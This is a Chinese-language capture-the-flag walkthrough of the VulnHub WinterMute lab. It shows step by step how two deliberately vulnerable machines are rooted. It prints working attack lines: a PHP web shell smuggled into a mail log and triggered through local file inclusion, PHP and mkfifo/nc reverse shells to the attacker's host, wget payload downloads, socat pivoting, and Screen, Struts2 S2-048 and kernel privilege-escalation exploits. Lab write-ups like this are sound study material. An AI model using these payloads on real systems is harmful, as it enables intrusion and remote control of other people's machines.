VulnHub-WinterMute-V1-靶机渗透学习
2020-12-31 18:25:53 Author: www.freebuf.com(查看原文) 阅读量:93 收藏

靶机地址:https://www.vulnhub.com/entry/wintermute-1,239/

靶机难度:中级(CTF)

靶机发布日期:2018年7月5日

靶机描述:一个新的OSCP风格实验室,涉及2台易受攻击的机器,以赛博朋克经典Neuromancer为主题-任何网络安全爱好者都必须阅读。该实验室利用了数据透视和后期开发,而我发现其他OSCP预处理实验室似乎缺乏。目标是在两台计算机上都扎根。您只需要默认的Kali Linux。

不会出现缓冲区溢出或漏洞利用的情况-使用小的单词列表就可以完成任何必要的密码破解。

Straylight-模拟带有2个NICS的面向公众的服务器。首先盖上此盖,然后转到最后一台机器。Neuromancer-在具有1个NIC的非公共网络中。你的Kali应该和Straylight在同一个虚拟网络上。

需要VirtualBox。VMware无法正确导入。

目标:得到root权限&找到flag.txt

作者:DRX嗯嗯呐

这次两台靶机,牛不牛,很期待。

开始!!!

VirtualBox环境配置

Kail网卡配置

1609404638_5fed90de3f5c20ec75a03.png!small?1609404637654

Straylight靶机网卡配置

1609404643_5fed90e32d97f004ead08.png!small?1609404642565

1609404646_5fed90e698aac251eb91a.png!small?1609404645944

Neuromancer靶机网卡配置

1609404652_5fed90eca39c8d4fb338d.png!small?1609404652024

测试环境

kail:192.168.56.3

Neuromancer靶机:10.0.2.8

Straylight靶机:192.168.56.8/10.0.2.10

1609404672_5fed9100a26976edabfbc.png!small?1609404671961

Straylight靶机渗透

信息收集

nmap扫描靶机地址

1609404679_5fed91073b465987e0a52.png!small?1609404678604

按照提示,我们先搞Straylight靶机

nmap 端口扫描

1609404686_5fed910e7961406fc78bb.png!small?1609404686000

25 smtp

80 http

3000  Apache Hadoop

Hadoop是Apache基金会开发的分布式系统基础架构,Hadoop主要被用来解决海量数据的存储和海量数据的分析计算。

25 端口使用smtp-user-enum未扫描出什么有用的账号

1609404712_5fed91280cfcd951f3ceb.png!small?1609404711423

访问80端口

1609404719_5fed912f37372816b2896.png!small?1609404727145

过一会出现一个新的js

1609404724_5fed9134b321fa441142b.png!small?1609404727144

通过dirb和nikto扫描只发现两个文件目录记录一下

http://192.168.56.4/manual/images/

http://192.168.56.4/manual/style/

1609404730_5fed913a6a679a3dc45c6.png!small?1609404729912

1609404743_5fed9147dbdad47edbc35.png!small?1609404743624

但是都没有获得有用的信息

访问3000端口

1609404760_5fed9158d182ab598b383.png!small?1609404760264

靶机使用了ntopng

1609404767_5fed915fef06e76de86e6.png!small?1609404767489

nikto扫描出一个反射型xss漏洞

1609404841_5fed91a94a2bde8f1af65.png!small?1609404840816

1609404846_5fed91aea4d1baa20565e.png!small?1609404846136

但是利用反射xss漏洞无法获得shell只能暂时放着

查看网页源代码,发现flag敏感字眼

1609404851_5fed91b35f59744eb4025.png!small?1609404851390

获得提示但是无法访问,但是没办法访问

使用admin用户可以登录

1609404859_5fed91bb2d712fafb93d6.png!small?1609404858778

登录之后在访问

1609404874_5fed91ca6779f621820c1.png!small?1609404873950

用strings打开也没有获得什么信息。

之后继续在登陆的界面查找有用信息,发现在FLOWS模块下记录访问目录

1609404963_5fed9223e454fd90838c0.png!small?1609404963765

访问/turing-bolo/,说是从列表中选择一个人来查看他们的自定义活动日志

1609404894_5fed91dea6868263f07d2.png!small?1609404894164

选择一个case用户提交

1609404981_5fed9235b929a7945a0a1.png!small?1609404981930

发现了其他三个用户的日志,看一看能不能访问

1609404988_5fed923c10b2f11739cde.png!small?1609404987550

利用LFI漏洞获得shell

可以访问,直接修改bolo参数后面的值,测试是否存在本地文件包含漏洞

http://192.168.56.4/turing-bolo/bolo.php?bolo=../turing-bolo/molly

1609405009_5fed9251f0fcaa94fc5c5.png!small?1609405010249

看来bolo参数存在LFI漏洞,但是看这个情况是默认补充后缀.log,这样的话只能访问log文件,测试一下

因为靶机存在smtp服务,所以看一下/var/log/mail日志

1609405037_5fed926d32ca4225867e3.png!small?1609405039316

现在我们可以看到了mail日志了,根据日志我们可以看到日志里包含了发件人和收件人信息。

利用思路如下:我们用smtp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell

1609405057_5fed9281ea15c954ae3fd.png!small?1609405057308

HELO ROOT                #向服务器标识用户身份

MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人

RCPT TO:ROOT        #RCPT TO:收件人

data                #开始编辑邮件内容

.                #输入点代表编辑结束

成功获得shell

http://192.168.56.8/turing-bolo/bolo.php?bolo=../../../../../../../../../var/log/mail&cmd=ls

1609405082_5fed929a0dc88e2f4637b.png!small?1609405081504

下面我们执行一个反弹shell语句,获得交互界面

这里可以使用的方法很多,我用的是PHP的sock函数

php -r '$sock=fsockopen("192.168.56.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

首先将代码进行URL编码

1609406565_5fed9865e229ca29bcaf9.png!small?1609406565293

监听4444端口

1609405284_5fed9364d9a8b90f657d8.png!small?1609405284226

执行,获得shell

1609405295_5fed936f3c3950853e585.png!small?1609405294722

1609405306_5fed937abb61779f8298d.png!small?1609405306195

screen4.5.0本地漏洞提权

发现靶机中具备SID权限的文件,发现screen

find / -perm -4000 2>/dev/null

1609405313_5fed9381094596ede397d.png!small?1609405312338

查询发现screen-4.5.0存在漏洞

1609405338_5fed939a12db39d50f3cc.png!small?1609405337425

1609405350_5fed93a6ac0029b0169d8.png!small?1609405350110

根据sh文件内容,建立两个c文件

1609405356_5fed93ace0e8afa99ff0d.png!small?1609405356344

上传到靶机

1609405362_5fed93b2992a56b693e93.png!small?1609405362325

编译,根据命令执行文件

1609405370_5fed93ba582095a3727ad.png!small?1609405370110

获得root权限和flag

1609405376_5fed93c09983457f91ec6.png!small?1609405376064

1609405445_5fed9405decd7c2d6e085.png!small?1609405445488

我们这里拿到了Straylight靶机的权限并找到flag

在note文件获得提示:提供了一个URL:/struts2_2.3.15.1-showcase,但这不适用于本机的IP,服务器是通过tomcat运行WEB的。

Neuromancer靶机渗透

信息收集

开始我们的渗透,查看IP我们发现了Straylight靶机另一个IP,这个IP是和Neuromancer靶机同一网段的,确定了范围,就可以扫描Neuromancer靶机的IP和端口了

1609405458_5fed941208d3f5877064d.png!small?1609405457630

因为靶机没有nmap,我们可以通过ping进行扫描Neuromancer靶机的IP

for i in $(seq 1 255); do if ping -c 1 -w 1 10.0.2.$i&>/dev/null; then echo "10.0.2.$i";  fi ; done

只输出可以ping通的IP

1609405540_5fed9464d643affa61aaa.png!small?1609405540276

Neuromancer靶机IP:10.0.2.8

通过nc扫描靶机存活的端口

nc -v -z -w2 10.0.2.8 1-65535

  • -v 显示指令执行过程。

  • -w<超时秒数> 设置等待连线的时间。

  • -z 使用0输入/输出模式,只在扫描通信端口时使用。

1609405557_5fed947538532fe644f01.png!small?1609405556581

扫描出三个端口

8080

8009

34483

端口重定向

现在需要kail连接这些端口,需要linux中socat进行重定向

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。

socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:10.0.2.8:8080 &

  • TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口

  • reuseaddr:绑定本地一个端口

  • fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听

  • &: 后台执行命令

1609405659_5fed94db268efc8c78c23.png!small?1609405658673

Straylight靶机开始不存在8080端口,在执行端口重定向,发现端口存在,同时访问192.168.56.8:8080,自动跳转至10.0.2.8:8080。

接下来将另两个端口进行重定向

socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:10.0.2.8:8009 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:10.0.2.8:34483 &

1609405671_5fed94e7674ff532f8862.png!small?1609405671098

测试可以访问,并发现34483是ssh服务

1609405705_5fed950906f84140c6a43.png!small?1609405704298

根据Straylight靶机note.txt提示,访问/struts2_2.3.15.1-showcase目录

1609405716_5fed951458f0b221f4437.png!small?1609405715743

struts2 s2-048漏洞利用

根据struts2版本查找查找对用的漏洞,此次struts2漏洞存在

POC: https://www.exploit-db.com/exploits/42324

1609405752_5fed9538269e039e56a55.png!small?1609405751723

1609405776_5fed9550800f23a949e34.png!small?1609405775926

想让Neuromancer靶机反弹shell到kail上,需要在Straylight靶机继续使用socat做端口重定向

首先在kail上启动6666监听端口

1609405850_5fed959aeccc4ee96775f.png!small?1609405850600

在Straylight靶机执行命令

socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.56.3:6666 &

因为需要Neuromancer靶机连接kai,但是靶机和kail直接不通,需要让Neuromancer靶机连接Straylight靶机6666端口,Straylight靶机将流量重定向到192.168.56.3:6666(kail)上

1609405861_5fed95a5d184af796d91c.png!small?1609405861532

执行poc

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"nc   192.168.56.8 6666"

1609405886_5fed95be345ad28973c02.png!small?1609405885532

1609405892_5fed95c441862fecd03b2.png!small?1609405891563

连接上了,但是靶机不可以使用nc -e ,无法通过nc直接运行程序,我们利用文件管道符-nc反弹shell

rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 6666 >/tmp/f

1609405935_5fed95efc4c636cd15b49.png!small?1609405935489

将shell上传到Neuromancer靶机,因为刚才在Straylight靶机启动6666端口重定向kail的6666端口上,相当于访问Straylight靶机6666端口等于访问kail6666端口。

在kail启动httpserver服务提供下载shell

1609405943_5fed95f79eefb809118a0.png!small?1609405942926

远程执行命令下载shelll

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"wget http://192.168.56.8:6666/shell.sh-O /tmp/shell1.sh"

1609405961_5fed960951b990a703d7e.png!small?1609405960752

这样shell.sh就下载到了Neuromancer靶机上

接下来赋权

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"chmod +x /tmp/shell1.sh"

1609405978_5fed961ad40538ab0a0eb.png!small?1609405978171

kail监听6666端口,Neuromancer靶机执行刚刚上传的shell

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"sh /tmp/shell1.sh"

1609405989_5fed96257d7e956ec257d.png!small?1609405988838

1609406002_5fed963267fbf48c171ef.png!small?1609406002102

获得ta用户权限,接下来看看怎么提权吧

Ubuntu 16.04.4 本地提权漏洞

查看操作系统版本

1609406017_5fed9641e28b3632616e1.png!small?1609406017348

看到可以直接内核漏洞提权(CVE-2017-16995)

1609406138_5fed96ba090a932ace28e.png!small?1609406137467

应为靶机无法执行cc命令,进行编译exp,需要先将exp编译好,在上传

在Straylight靶机socat443端口用来重定向数据

1609406153_5fed96c9aad70871f0a78.png!small?1609406153383

kail启动443端口提供下载

1609406181_5fed96e51bd118fb500f4.png!small?1609406180443

Neuromancer靶机下载exp

1609406186_5fed96ea6349ce7470e68.png!small?1609406185762

赋权,并执行exp,获得root权限

1609406192_5fed96f0e9641a6134872.png!small?1609406192616

完成!!!

总结

这次的靶机因为是我用时最长的了,搞了两天,啧啧啧,完成的那一刻感觉神清气爽,通透。

  • 1、通过nmap扫描Straylight靶机端口,在3000端口的web界面存在弱口令,登陆看到了历史访问的web目录。

  • 2、在/turing-bolo/发现一个本地文件包含漏洞,利用系统的smtp服务器,将发件人构造为木马,发送邮件,通过LFI漏洞读取mail日志,将木马包含到php界面执行。成功获得shell。

  • 3、利用一句话木马,执行php反弹shell,获得一个交互界面。在Straylight靶机发现screen服务具备SID权限。

  • 4、利用GNU Screen 4.5.0 root exploit提权,获得Straylight靶机root权限。

  • 5、在Straylight靶机通过ping确定Neuromancer靶机IP,通过nc确定Neuromancer靶机端口,使用socat命令在Straylight靶机启动监听端口,并将对于端口的数据库转发到Neuromancer靶机上,这样kail就可以访问Neuromancer靶机了。

  • 6、根据Straylight靶机root目录下note文件提示,访问/struts2_2.3.15.1-showcase目录,发现Neuromancer靶机使用的是struts2,测试发现存在Apache Struts2 S2-048远程代码执行漏洞。

  • 7、利用漏洞上传一个文件管道符nc反弹shell文件,并执行,获得一个交互式窗口。

  • 8、发现Neuromancer靶机使用的是ubuntu 16.04.4,查询此版本存在内核提权漏洞,利用漏洞,提权成功,获得root权限。


文章来源: https://www.freebuf.com/articles/web/259582.html
如有侵权请联系:admin#unsafe.sh